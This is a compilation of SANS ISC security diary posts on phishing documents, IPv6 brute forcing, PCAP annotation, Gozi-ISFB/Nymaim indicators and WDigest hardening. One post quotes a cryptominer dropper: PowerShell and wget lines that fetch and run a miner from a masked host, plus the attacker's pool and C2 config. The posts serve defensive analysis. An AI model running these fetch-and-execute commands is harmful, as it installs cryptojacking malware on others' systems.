For wget, it's a bit more complex, because wget can't talk to Socks directly. wget can talk to a HTTP/HTTPS proxy, so you can setup such a proxy between Tor and wget.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

I received another RTF file (with .doc extension) via email. Let's take a look with rtfdump:

It looks like there are no embedded objects, let's make sure by filtering:

There are no embedded objects, or they are so heavily obfuscated that rtfdump doesn't find them. To exclude this hypothesis, we look for hexadecimal digits:

Some of the sequences (like 17 and 18) contain 1329 hexadecimal characters, but only strings of 5 or 6 contiguous hexadecimal characters.

Either this is extremely obfuscated, or it doesn't contain exploits, but is rather phising.

Searching for URLs:

Indeed, it is phishing (NetEase / 163 is a Chinese Internet company):

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

My diary earlier this week led to some good discussion in the comments and on twitter. I want to, first off, apologize for not responding as much or as quickly as I would have liked, I've actually been ill most of this week since posting the previous diary (and signing up for this slot as handler on duty). Having said that, the discussion got me thinking about fail2ban (and denyhosts) and how I've used them over the years, which brings me to a number of points I'd like to make and some further discussion I hope we can have. As rightly pointed out, I am sure that the brute forcing I am seeing is not from any scanning but because I setup an IPv6 address in DNS for my wordpress site and the preference for IPv6 over IPv4 if both DNS returns both.. In fact, the attempts to login as 'jim' show that they have at least scraped some content off the site so they thought they could guess at a valid username (in fact, 'jim' is not a valid username on the site, but that is their problem, not mine).

• One suggestion that I got on twitter was to look at blocklistd from BSD-land. This looks interesting, but I'm primarily using Linux at the moment and don't really feel like doing the porting (though if someone else does let me know, I'll be happy to publicize it here). I still need to look further into how it works, but it looked like it required some modification of the daemons in question to support it and this would be a bit of a problem.
• There were also a number of folks on twitter who suggested various rate-limiting schemes using pf or ipfw (or iptables/ip6tables), but that doesn't really solve my problem. I could certainly do that, but I don't necessarily want to limit legit users, I just want to slow/stop the brute forcing attempts. That's why I started using denyhosts way back when and switched over to fail2ban when denyhosts stopped being actively maintained. With fail2ban, as long as I can parse a log file that shows authentication failures, I can then block them for a certain amount of time (and I have a secondary process that if you get banned by fail2ban too often, I move you to a permanent block list and don't worry aobut you ever again). I can do this for all sorts of services, not just ssh, I also use it for SASL (SMTP/TLS and IMAPS) as well as Wordpress (as described in my earlier diary).

All of this, though, I fear shows my IPv4 mindset. I've been using IPv4 for 30+ years and perhaps I'm just trying to force IPv6 into my IPv4 worldview. 

• A question raised by several commenters (on twitter, I believe), is at what level do you want to do that sort of filtering in IPv6? Given that a single host could a huge number of IPv6 addresses (in theory, larger than the entire IPv4 address space), it doesn't make sense to just block a single IPv6 address, we actually probably need to block some block of addresses (perhaps a /64), but how do we decide that?
• Is there a better way to handle this problem in IPv6?

Another commenter on the previous diary was  someone who has reimplemented fail2ban and expanded it to handle IPv6 (and prefixes), this is actually something I'd love to dig further into. 

So, am I thinking about this all wrong? Is there a better way to do this? Should I not bother trying to slow/stop brute forcing and migrate all my authentication to PKI (public key infrastructure) or MFA (multi-factor authentication)? Let me know what you think in the comments, via our contact page, or on social media.

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

Join me to learn about Malware Analysis

Upcoming Courses Taught By Jim Clausing

Type	Course / Location	Date
Community SANS	FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques Community SANS Minneapolis FOR610 Minneapolis, MN	Mar 5, 2018 - Mar 10, 2018
Community SANS	FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques Community SANS Columbia FOR610 Columbia, MD	Mar 26, 2018 - Mar 31, 2018

When you are investigating a security incident, a key element is to take notes and to document as much as possible. There is no “best” way to take notes, some people use electronic solutions while others are using good old paper and pencil. Just keep in mind: it must be properly performed if your notes will be used as evidence later… With investigations, there are also chances to you will have to deal with packet captures. Many security tools can record samples of network traffic or you can maybe need a full-packet capture[1]. Some tools, like Moloch, allow you to “tag” some conversations. Later, you can search for them to find back interesting traffic:

Tags are helpful to assign some flows to a case being investigated or to categorize them (“suspicious”, “exfiltration”, “exploitation”, etc). I’m a big fan of Moloch but, with this kind of tools, added tags are stored in the ElasticSearch database. If you export the data in PCAP format, you will lose your tags. How to add them to the PCAP itself? To achieve this, let’s have a look at the PCAP-ng format[2]. It extends the simple PCAP format features with more options like: 

• to store more capture related information
• extended time stamp precision
• capture interface information
• capture statistics
• mixed link layer types
• name resolution information
• user comments

The latest information is definitively a nice feature. Wireshark supports PCAP-ng natively. While reviewing traffic, it’s easy to add a comment: Select the packet, right click and select “Packet Comment”. You can now enter your comment in a small editor window. To display the existing comments when you open an existing PCAP-ng file (or to see yours), you can add an extra column to the main Wireshark windows:

And of course, you can search for comments. This filter displays all packets that belong to the incident “1234”:

frame.comment contains “1234”

If you need to save the PCAP to share it with other handlers or colleagues, Wireshark will automatically select the PCAP-ng format (because extra metadata have been added - comments in this case).

What’s nice, you can also search/display comments with command line tools:

$ tshark -r test.pcapng -Y frame.comment
  916 177.563553 Cisco_5a:fa:30  CDP/VTP/DTP/PAgP/UDLD CDP 370 This is Cisco CDP packet. Case ID #1234 Device ID: cisco-ap.xxxx  Port ID: Dot11Radio0.1
 3314 540.372018 192.168.254.212 59920 104.199.42.108 TCP 129 TCP Error? [TCP Retransmission] 59920 → 443 [PSH, ACK] Seq=3988 Ack=5698 Win=4096 Len=63 TSval=1092967452 TSecr=898909663

On Mac OSX, the native tcpdump command can also handle comments:

$ tcpdump -r test.pcapng -n -k C | grep -v ' () '
reading from PCAP-NG file test.pcapng
17:47:58.181178 (This is Cisco CDP packet. Case ID #1234) CDPv2, ttl: 180s, Device-ID 'cisco-ap.xxxx', length 348
17:54:00.989643 (TCP Error?) IP 192.168.254.212.59920 > 104.199.42.108.443: Flags [P.], seq 3987:4050, ack 5698, win 4096, options [nop,nop,TS val 1092967452 ecr 898909663], length 63

Finally, if you use cloud services to handle your capture files, most of them support pcap-ng and comments, like CloudShark[3]. From now, you don't have any valid excuse for not commenting your PCAP files!

[1] https://isc.sans.edu/forums/diary/The+easy+way+to+analyze+huge+amounts+of+PCAP+data/22876/
[2] https://wiki.wireshark.org/Development/LibpcapFileFormat
[3] https://support.cloudshark.org/user-guide/#comments
 

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Introduction

Researchers should review their spam filters to see what malware is getting caught.  Security professionals should be aware of current practices used by criminals pushing malware, even if it has little chance of infecting anyone in their organizations.  Reviewing the spam filters keeps provides a clearer picture of our cyber-threat landscape.

In today's trip through the spam filters, I found two emails with malicious attachments.  These attachments are Word documents with malicious macros designed to infect a vulnerable Windows host with Gozi-ISFB.

Shown above:  Never a good sign when the document asks you to enable macros.

Unfortunately, I cannot share the emails.  Both emails appear to contain legitimate correspondence.  They each include a chain of previous messages, and I could not easily redact the information like I normally do with other examples of malicious spam.

Therefore, this diary will focus on the attachments, follow-up malware, and network traffic.

What is Gozi-ISFB?

Gozi-ISFB is a variant of Ursnif, and today's traffic looked like an example shared by @DynamicAnalysis in a blog post on malwarebreakdown.com.

I generated two infections using each of the Word documents.  In today's activity, about 8 to 10 minutes after the initial infection, the infected Windows host downloaded follow-up malware.  Here's what I saw:

• 1st Word document --> Gozi-ISFB --> Nymaim Trojan
• 2nd Word document --> Gozi-ISFB --> unknown malware

The first infection followed-up with the Nymaim Trojan, and I've documented Nymaim traffic back in November and December of 2017. 

Shown above:  Traffic from the 1st infection filtered in Wireshark.

Since I've covered Nymaim before, I'm far more insterested in the second infection where I couldn't identify the follow-up malware.

The second infection

The second infection follows the same patterns as the first.  However, this time the follow-up malware is different.  I saw encrypted traffic with no associated DNS requests or domains.  Two of the IP addresses had interesting certificate data as shown in the images below.

Shown above:  Traffic from the 2nd infection filtered in Wireshark.

Shown above:  One example of certificate data from the encrypted post-infection traffic.

Shown above:  Another example of certificate data from the encrypted post-infection traffic.

Based on the network traffic and post-infection artifacts, I could not identify the follow-up malware.  The follow-up malware is a malicious DLL named winmm.dll that's loaded by a legitimate Windows system file named presentationsettings.exe.  Both were found in a newly-created directory under the infected user's AppData\Roaming folder.  See the indicators section below for details.

Indicators

Artifacts from the 1st infection:

SHA256 hash: febb37762a92bedad337d0489ac482e356e2787533d65a757c3375fb147ff0a8

• File size: 55,248 bytes
• File name: Request.doc
• File description: Word document with malicious macro

SHA256 hash: 14284152d53c119ad04c986a2a115485ae480d8012603679bf28ec27e3869929

• File size: 1,101,824 bytes
• File location: C:\Users\[username]\AppData\Roaming\52a8081a.exe
• File location: C:\Users\[username]\AppData\Roaming\Microsoft\Adsnsdmo\CRPPport.exe
• Associated Registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• Value name: adprvmgr
• Value type: REG_SZ
• Value data: C:\Users\[username]\AppData\Roaming\Microsoft\Adsnsdmo\CRPPport.exe
• File description: Gozi-ISFB (an Ursnif variant)

SHA256 hash: d254e82bdbfd16aa9f0037e2c536c3b9dddd6ec559d26a5af005d3a1f8199d59

• File size: 580,864 bytes
• File location: C:\Users\[username]\AppData\Local\molarity-24\molarity-12.exe
• Associated Registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• Value name: molarity-96
• Value type: REG_SZ
• Value data: C:\Users\[username]\AppData\Local\molarity-24\molarity-12.exe -s0
• File description: Probable Nymaim Trojan

SHA256 hash: f1c9544e8f1de92f60f13e29403fc459811b93a7a316d957cb30c1b4a61ba61d

• File size: 656,896 bytes
• File location: C:\ProgramData\wedge-46\wedge-6.exe 
• Associated Registry key: HKCU\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon
• Value name: shell
• Value type: REG_SZ
• Value data: C:\ProgramData\wedge-46\wedge-6.exe -46,explorer.exe
• File description: Probable Nymaim Trojan

SHA256 hash: 6e5faf4c3eb47a5218f173564fc1e5a8afc65a8126ff7f602e8dbfe98a2ba695

• File size: 651,776 bytes
• File location: C:\Users\[username]\AppData\Roaming\aliasing-40\aliasing-2.exe
• File description: Probable Nymaim Trojan

Artifacts from the 2nd infection:

SHA256 hash: 044e86936bfc30cd0c07186b6e270650f896f6a42e9b8015abc184d161880090

• File size: 55,012 bytes
• File name: NBS_Request.doc
• File description: Word document with malicious macro

SHA256 hash: f8bdb65d54ccab04a506e84f14bdbeef15f6266a7bd6e4e7dfde69de424dd10a

• File size: 1,010,688 bytes
• File location: C:\Users\[username]\AppData\Roaming\6d9be056.exe
• File location: C:\Users\[username]\AppData\Roaming\Microsoft\Bitsxapi\efsuvoas.exe
• Associated Registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• Value name: dmusdBth
• Value type: REG_SZ
• Value data: C:\Users\[username]\AppData\Roaming\Microsoft\Bitsxapi\efsuvoas.exe
• File description: Gozi-ISFB (an Ursnif variant)

SHA256 hash: 208b94fd66a6ce266c3195f87029a41a0622fff47f2a5112552cb087adbb1258 (not malware)

• File size: 176,640 bytes
• File location: C:\Users\[username]\AppData\Roaming\XPIALj1\PresentationSettings.exe 
• Associated Registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• Value name: Ehlho
• Value type: REG_SZ
• Value data: "C:\Users\[username]\AppData\Roaming\XPIALj1\PresentationSettings.exe"
• Start menu shortcut: C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Ehlho
• File description: Legitimate system file that loads any DLL named winmm.dll in the same directory.

SHA256 hash: 018084df00799387be61c5f849af8fce093aab8f73420a2ece7b47d0f45fa07e

• File size: 176,640 bytes
• File location: C:\Users\[username]\AppData\Roaming\XPIALj1\WINMM.dll
• File description: Malicious component called by PresentationSettings.exe
• File description: Malware DLL loaded by legitimate system file PresentationSettings.exe in the same directory

1st run infection traffic:

• 188.25.175.38 port 80 - ijqdjqnwiduqujqiuezxc.com - GET /NU/sof.php?utma=baw
• 188.25.175.38 port 80 - ijqdjqnwiduqujqiuezxc.com - GET /NU/baw.pfx
• 188.25.175.38 port 80 - ijqdjqnwiduqujqiuezxc.com - GET /s.php?id=baw
• 109.166.237.170 port 80 - adistributedmean.net - GET /images/[long string].gif
• 109.166.237.170 port 80 - adistributedmean.net - POST /images/[long string].bmp
• 212.98.131.181 port 80 - adistributedmean.net - GET /images/[long string].gif
• 212.98.131.181 port 80 - adistributedmean.net - POST /images/[long string].bmp
• 86.120.77.221 port 80 - adistributedmean.net - GET /images/[long string].gif
• 86.120.77.221 port 80 - adistributedmean.net - GET /images/[long string].jpeg
• 86.120.77.221 port 80 - adistributedmean.net - POST /images/[long string].bmp
• 80.80.165.93 port 80 - adistributedmean.net - GET /images/[long string].gif
• 80.80.165.93 port 80 - adistributedmean.net - POST /images/[long string].bmp
• 186.73.245.226 port 80 - adistributedmean.net - GET /images/[long string].gif
• 188.237.190.24 port 80 - adistributedmean.net - GET /images/[long string].gif
• 184.168.187.1 port 80 - fyibc.com - GET /vvv.bin
• 184.168.187.1 port 80 - fyibc.com - GET /nori3.bin
• 184.168.187.1 port 80 - fyibc.com - GET /nori6.bin
• DNS queries (using Google DNS) for dtybgsb.com
• 86.120.168.154 port 80 - zepter.com - POST /5lpomdt9j/index.php
• 203.91.116.53 port 80 - zepter.com - POST /5lpomdt9j/index.php
• 155.133.93.30 port 80 - zepter.com - POST /5lpomdt9j/index.php
• 85.105.167.110 port 80 - carfax.com - POST /
• 85.105.167.110 port 80 - zepter.com - POST /
• NOTE: carfax.com and zepter.com are legitimate domains and not compromised.  They just resolve to bad IP addresses for dtybgsb.com due to the nature of this Nymaim infection.

2nd run infection traffic:

• 84.54.187.24 port 80 - fortrunernaskdneazxd.com - GET /NA/sof.php?utma=kur
• 84.54.187.24 port 80 - fortrunernaskdneazxd.com - GET /NA/kur.pfx
• 84.54.187.24 port 80 - fortrunernaskdneazxd.com - GET /s.php?id=kur
• 213.6.121.106 port 80 - bithedistributedlicense.net - POST /images/[long string].bmp
• 85.105.167.110 port 80 - bithedistributedlicense.net - POST /images/[long string].bmp
• 85.105.167.110 port 80 - bithedistributedlicense.net - GET /images/[long string].gif
• 90.180.1.23 port 80 - bithedistributedlicense.net - GET /images/[long string].gif
• 184.168.187.1 port 80 - fyicreative.ca - GET /dih.bin
• 184.168.187.1 port 80 - fyicreative.ca - GET /nori3.bin
• 184.168.187.1 port 80 - fyicreative.ca - GET /nori6.bin
• 41.193.159.41 port 443 - Encrypted traffic both with and without cerificate data 
• 69.90.132.196 port 443 - Encrypted traffic both with cerificate data
• 69.75.114.66 port 443 - Encrypted traffic (no certificate data)
• 74.50.133.9 port 443 - Encrypted traffic (no certificate data)
• 41.193.159.41 port 444 - attempted TCP connections, but no response from the server
• 95.150.74.40 port 443 - attempted TCP connections, but no response from the server
• 179.108.87.11 port 443 - attempted TCP connections, but no response from the server
• 190.208.42.36 port 443 - attempted TCP connections, but no response from the server

Of note, during the first infection, I rebooted the infected Windows host 3 or 4 times, which might account for multiple copies of what I assume are Nymaim.  If you review the pcaps, the reboots are indicated any place you see an HTTP request to www.msftncsi.com.

Malicious domains

Indicators are not a block list.  If you feel the need to block web traffic based on this diary, I suggest the following domains:

• ijqdjqnwiduqujqiuezxc.com
• adistributedmean.net
• fyibc.com
• fortrunernaskdneazxd.com
• bithedistributedlicense.net
• fyicreative.ca

Final words

Pcaps and malware for today's diary can be found here.

Good spam filtering, proper Windows administration, and best security practices will ensure most people never see this malware.  However, criminals are constantly tweaking their methods in an attempt to slip past our defenses.  It pays to be aware of current malware indicators, so we're prepared if any ever make it into our network.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Sometimes malicious documents are encrypted, like PDFs. If you know the user password, you can use a tool like QPDF to decrypt it. If it's encypted for DRM (with an owner password), QPDF can decrypt it without you knowing the owner password.

If you don't know the user password, you can try to crack it. But if it's a long random password, that won't be feasible. But there's still a way to decrypt the PDF, if a 40-bit key was used. With Hashcat, it's possible to crack this 40-bit key (regardless of how long or complex the password is).

Until recently, it was not easy to decrypt a PDF when you just knew the key, and not the password. This has changed with the release of QPDF 7.1.0: with the new option --password-is-hex-key, one can provide the key (in stead of the password).

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Since late 2014, malicious Office documents with macros appeared in the wild again. Malware authors don't always rely on VBA macros to execute their payload, exploits and feature abuse are part of their bag of tricks too.

Recently, I had a look at an Excel sample (MD5 656d7c4027ba0db106fb4d67859e2e35) with a formula that downloads and executes a COM scriptlet. This formula starts with Package, a string that can be found within the Workbook stream:

However, just the presence of string Package in this file is not a good indicator for a malicious document.

With my plugin for the BIFF file format plugin_biff (the original file format for Excel files, still used for the Workbook stream in OLE files), one can now search for strings inside BIFF records:

From this output, we know that string Package is present in BIFF record type 01AE, aka Supporting Workbook.

With plugin option -s, we can dump all the strings found in the data of this record, and thus extract the URL:

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

It has been a rough week for Intel. Several media outlets are are reporting that researchers at F-Secure hav discovered a flaw in Intel's Active Management Technology (AMT) which is in most business laptops. AMT is the technology which is used by corporations to remotely manage their  deployed laptops.

The gist of the flaw is that if the AMT password has not been reset from default, then an attacker with physical access to the laptop could reboot the laptop, interrupt the boot process, and access the Intel Management Engine BIOS Extension (MEBx) using the default password. The attacker could then reconfigure the laptop for remote access.  Once enabled the attacker, if on the same wifi or physical network, could remotely access the laptop. Because the access is through AMT it would bypass all security features deployed on the laptop effectively granting unimpeded access to all aspects of the laptop.

This is not a flaw or vulnerability, but rather a provided feature which can be abused if corporations do not follow best practices for configuring AMT.   This "flaw" is not a concern for any company which has followed the best practices. I suggest that companies double check that they have reset their AMT password from default and review the best practices for configuring AMT, but other than that this is much ado about nothing.

There are some more details at the The Hacker News.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

With the “storm” around Meldown and Spectre slowly winding down, I would like to remind everyone on registry changes that are required by the latest patches released by Microsoft.

In most cases, the anti-virus that you are running should have created the required registry key that will allow installation of the released security patches. However, keep in mind that if the registry key is not present, that the patches will not be installed: not only that, in case the registry key is missing even future patches might not be installed, according to the Microsoft’s support web page at https://support.microsoft.com/en-us/help/4072699/january-3-2018-windows-security-updates-and-antivirus-software.

So, in order to make sure that all patches have been successfully installed make sure that the registry key mentioned in the article exists – there are various tools that can help with this.
The story with the registry key reminded me of another critical security patch that also requires a registry key to be set in order to properly work. I often tend to find servers missing this in internal penetration test, and the consequences are very serious.

The patch I am referring to is KB2871997 (https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2016/2871997), originally from 2014. This patch helps remove clear text credentials from memory on affected Windows operating systems – something that Mimikatz, an attacker’s favorite tool successfully exploits.

In the figure below you can see how Mimikatz successfully extracts the plain text password from an unpatched Windows 2008R2 server.

Unfortunately, even after installing the patch, the clear text password is still in memory – Microsoft presumably did not want to change the default behavior for WDigest. The problem is that many administrators missed that the registry key needs to be added – as I mentioned previously, in (too) many internal penetration tests I find Windows 2008R2 servers which are fully patched, but miss this registry key. Once an attacker gets administrator privileges, on such a system, he can run Mimikatz and dump plain text password.

Additionally, after applying the patch, you also need to reboot the server for the patch to finally take effect – until the server has been rebooted the passwords are still available in memory. Once this has been finally done, plain text passwords will not be available in the memory, as shown in the figure below:

If you are still running Windows 2008R2 servers, make sure that both the patch and registry key have been successfully applied. Additionally, make sure that you monitor this registry key and any potential changes on servers: an attacker could possibly change the value of the registry key to any other value (i.e. 1) and wait for the server to reboot; once rebooted the server will again start keeping plain text passwords in memory. Something to watch for.

--
Bojan
@bojanz
INFIGO IS

Cryptocurrencies mining has been a trending attack for a few weeks. Our idling CPUs are now targeted by bad guys who are looked to generate some extra revenue by abusing our resources. Other fellow handlers already posted diaries about this topic. Renato found a campaign based on a WebLogic exploit[1] and Jim detected a peak of activity on port %%port:3333%%[2]. Yesterday, while reviewed alerts generated by my hunting scripts, I found an interesting snippet of code on Pastebin. Here is a copy of the script with some added comments in blue:

@shift /0
@echo off
// No idea why a new service is created, there is no reference to this executable?
sc create MicrsoftFTP binPath= C:\ProgramData\svchost.exe start= auto

// Let’s grab the miner
// Not very efficient because admin privileges are required to dump the file in this directory
powershell.exe -WindowStyle Hidden $P = nEW-oBJECT sYSTEM.nET.wEBcLIENT;$P.DownloadFile('http://x.x.x.x:2114/drivers.exe', 'C:\Windows\drivers.exe')

ping 1.1.1.1 -n 10>nul 2>nul
set _task=drivers.exe

// Miner configuration 
set _svr=C:\Windows\drivers.exe -o bom.dnstop[.]info:4555 -u 4BHZCKCaArVd84u …(removed)... bydit7sHgu4BAo5Rh -p x -k -B
set _des=start.bat
 :checkstart
SET status=1 

// Test if the miner is running
(TASKLIST|FIND /I "%_task%"||SET status=0) 2>nul 1>nul
ECHO %status%

// If not running, (re)start it or sleep
IF %status% EQU 1 (goto checkag ) ELSE (goto startsvr)

// Create the start.bat script and launch the miner
:startsvr
echo %time% 

// Original strings were in Chinese
// Translation: "******** Program started ********"
echo ********??????********

// Translation: "The program restarts at% time%, check the system log"
echo ??????? %time% ,??????? >> restart_service.txt
echo start %_svr% > %_des%
echo exit >> %_des%
start %_des%
set/p=.<nul
for /L %%i in (1 1 10) do set /p a=.<nul&ping.exe /n 2 127.0.0.1>nul
echo .
echo Wscript.Sleep WScript.Arguments(0) >%tmp%\delay.vbs 
cscript //b //nologo %tmp%\delay.vbs 10000 
del %_des% /Q

// Translation: "******** Program completed ********"
echo ********??????********
goto checkstart

// Simple sleep function based on a VBS one-liner script
:checkag

// Translation: "% time% The program is running normally, and it will be checked after 10 seconds."
echo %time% ??????,10??????.. 
echo Wscript.Sleep WScript.Arguments(0) >%tmp%\delay.vbs 
cscript //b //nologo %tmp%\delay.vbs 10000 
goto checkstart
:begin
REM

The file referenced in the script (‘drivers.exe’) is not available anymore (HTTP 404 returned) but the server is running an HttpFileServer[3] instance which is very popular in China (I found plenty of them on Chinese servers). 

You can see multiple files and installation script to deploy mining tools in Windows but also Linux boxes. Example:

cd /tmp
wget -O xmrigDaemon  http://x.x.x.x:2114/xmrigDaemon && chmod +x xmrigDaemon
wget -O xmrigMiner  http://x.x.x.x:2114/xmrigMiner && chmod +x xmrigMiner
wget -O config.json  http://x.x.x.x:2114/config.json && chmod +x config.json
chmod +x xmrigDaemon
chmod +x xmrigMiner
chmod +x config.json
./xmrigDaemon &

Even more interesting, the configuration is publicly available (config.json) and contains a lot of details about the attacker:

{
    "algo": "cryptonight",                      // cryptonight (default) or cryptonight-lite
    "av": 0,                                    // algorithm variation, 0 auto select
    "doublehash-thread-mask" : null,            // for av=2/4 only, limits doublehash to given threads (mask), mask "0x3" means run doublehash on thread 0 and 1 only (default: all threads)
    "background": true,                        // true to run the miner in the background
    "colors": true,                             // false to disable colored output
    "cpu-affinity": null,                       // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
    "cpu-priority": null,                       // set process priority (0 idle, 2 normal to 5 highest)
    "donate-level": 1,                          // donate level, mininum 1%
    "log-file": null,                           // log all output to a file, example: "c:/some/path/xmrig.log"
    "max-cpu-usage": 100,                        // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
    "print-time": 60,                           // print hashrate report every N seconds
    "retries": 5,                               // number of times to retry before switch to backup server
    "retry-pause": 5,                           // time to pause between retries
    "safe": false,                              // true to safe adjust threads and av settings for current CPU
    "syslog": false,                            // use system log for output messages
    "threads": null,                            // number of miner threads
    "pools": [
        {
            "url": “bom.dnstop[.]info:2222",                          // URL of mining server
            "user": “4BHZCKCaArVd84uydsakdzVHRtBJqG …(removed)… 3bBJJESH28YHbydit7sHgu4BAo5Rh",                         // username for mining server
            "pass": “Lall …(removed)… ",                        // password for mining server
            "keepalive": true,                  // send keepalived for prevent timeout (need pool support)
            "nicehash": false                   // enable nicehash/xmrig-proxy support
        }
    ],
    "api": {
        "port": 0,                              // port for the miner API https://github.com/xmrig/xmrig/wiki/API
        "access-token": null,                   // access token for API
        "worker-id": null                       // custom worker-id for API
    },
    "cc-client": {
        "url": "bom.dnstop.info:3324",                // url of the CC Server (ip:port)
        "access-token": "mySecret",             // access token for CC Server (has to be the same in config_cc.json)
        "worker-id": null,                      // custom worker-id for CC Server (otherwise hostname is used)
        "update-interval-s": 10                 // status update interval in seconds (default: 10 min: 1)
    }
}

Here is a table with files details:

[1] https://isc.sans.edu/forums/diary/Campaign+is+using+a+recently+released+WebLogic+exploit+to+deploy+a+Monero+miner/23191/
[2] https://isc.sans.edu/forums/diary/What+is+going+on+with+port+3333/23215/
[3] http://rejetto.com/hfs/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

There are numerous and exciting information security-related projects on GitHub; one can dive quickly down the rabbit hole, never to be seen again, in an effort to identify the best of breed for use in their security practices. In the last three days, three separate projects have hit my radar screen via social media that I thought readers might find intriguing and likely beneficial. I'm listing the projects in alphabetic order, not order of preference, each project represents a unique discipline and opportunity. 

The first project is for hunters. HELK  is a Hunting ELK (Elasticsearch, Logstash, Kibana) stack with advanced analytic capabilities, currently in beta. This project hits themes near and dear to me, and will definitely receive toolsmith attention in the near term. From @Cyb3rWard0g, HELK aims to: 

• Provide a free hunting platform to the community and share the basics of Threat Hunting.
• Make sense of a large amount of event logs and add more context to suspicious events during hunting.
• Expedite the time it takes to deploy an ELK stack.
• Improve the testing of hunting use cases in an easier and more affordable way.
• Enable Data Science via Apache Spark, GraphFrames & Jupyter Notebooks

Second up, for your consideration, is the just released version 1.17 of ptf, the pentester's framework from Dave Kennedy's @TrustedSec.

The PenTesters Framework (PTF) is a Python script designed for Debian/Ubuntu/ArchLinux based distributions to create a similar and familiar distribution for Penetration Testing. As pentesters, we've been accustom to the /pentest/ directories or our own toolsets that we want to keep up-to-date all of the time. We have those "go to" tools that we use on a regular basis, and using the latest and greatest is important.

PTF attempts to install all of your penetration testing tools (latest and greatest), compile them, build them, and make it so that you can install/update your distribution on any machine. Everything is organized in a fashion that is cohesive to the Penetration Testing Execution Standard (PTES).

The 1.17 release includes:

• multiple fixes for aftercommands and escaping
• add Joomslav
• update masscan
• add Robot-Detect

Third on our list is VulnWhisper, also slotted for future toolsmith attention; it's already caught many an eye and cause some excitement, particularly in light of Spectre/Meltdown vulnerabilities. VulnWhisperer is a vulnerability data and report aggregator. Austin Taylor's VulnWhisperer will pull all the reports and create a file with a unique filename which is then fed into logstash. Logstash extracts data from the filename and tags all of the information inside the report (see logstash_vulnwhisp.conf file). Data is then shipped to elasticsearch to be indexed. VulnWhisperer includes support for:

•  Nessus (v6 & v7)
•  Qualys Web Applications
•  Qualys Vulnerability Management (in progress)
•  OpenVAS
•  Nexpose
•  Insight VM
•  NMAP
•  More to come

This is a great triple threat of GitHub offerings for your review and consideration, I know they're slated for me to do much more exploration.

Feel free to comment with some of your favorite GitHub information security projects. 

Cheers.

Russ McRee | @holisticinfosec

Microsoft, as expected included last weeks Meltdown/Spectre update in this months patch Tuesday. But note that in addition to these two flaws, we have a number of other "traditional" privilege escalation and even remote code execution flaws that are probably easier to exploit and should be treated probably with a higher priority. Regardless, I doubt that as many people will work overtime for these run of the mill flaws. For example:

CVE-2018-0788: A quick NVD search shows 15 different vulnerabilities for this Atmfd.dll. Some can even lead to code execution. But I doubt you will have this issue patched this week. Exploitation of CVE-2018-0788 can lead to code execution as administrator. Spectre/Meltdown only allow reading data.

CVE-2018-0773: An attacker may execute arbitrary code in the context of the user running the browser. Spectre, which was patched in many browser again only allows reading data.

and CVE-2018-0802, which is already being exploited.

So better get patching. It worked so well last month :)

January 2018 Security Updates

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter|

We've seen a spike over the last day or so in reports of apparent scanning on TCP %%port:3333%%. I have serious doubts that anyone is actually looking for DEC Notes which is the registered IANA use for this port. While we're getting our own honeypots set up, I figured I'd ask our readers, do you have packets and/or any idea what is going on here? Please let us know in the comments or via our contact page. Thanx in advance.

Update: 2018-01-09 03:00 The original version of this diary inadvertantly said the traffic was UDP, the traffic that I am seeing in my logs at home is actually TCP. My apologies for the confusion.

Update: 2018-01-10 00:00 UTC The recurring theme in comments and email we've received suggests that some of the recent Monero miner malware samples are sending their results back to C2 servers on port 3333, so perhaps folks are trying to find and steal the illgotten cryptocurrency. I still haven't examined any traffic captured by our honeypots to confirm or refute that that is what they are looking for.

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

Upcoming Courses Taught By Jim Clausing

Type	Course / Location	Date
Community SANS	FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques Community SANS Minneapolis FOR610 Minneapolis, MN	Mar 5, 2018 - Mar 10, 2018
Community SANS	FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques Community SANS Columbia FOR610 Columbia, MD	Mar 26, 2018 - Mar 31, 2018

For a number of years, I've had a personal blog that for the last 2 or 3 years has been pretty much dormant. A few years ago, I found a deal for a VPS instance for $5/month and decided to host my blog there using WordPress. One of the nice feature of this particular VPS setup is that it has good IPv6 connectivity, so I registered the IPv6 address in DNS. I use fail2ban to protect ssh against brute forcing, but I wanted to also protect my WordPress site, so I configured it to log all authentication attempts so that I could have fail2ban watch that log. For much of the last year, I've noticed something really odd. The vast majority of attempts against my WordPress site have come over IPv6. Here is a typical summary from the log (thank you logwatch, note, the IPs have NOT been changed to protect the guilty).

    wordpress(<redacted>): XML-RPC authentication attempt for unknown user jim from 2001:41d0:2:3ca::: 3 Time(s)
    wordpress(<redacted>): XML-RPC authentication attempt for unknown user jim from 2403:cb00:cb02:101:100:211:51:0: 1 Time(s)
    wordpress(<redacted>): XML-RPC authentication attempt for unknown user jim from 2607:f128:22:4121:312:18:412:2500: 1 Time(s)
    wordpress(<redacted>): XML-RPC authentication attempt for unknown user jim from 2607:f298:5:100b::7b:929a: 2 Time(s)
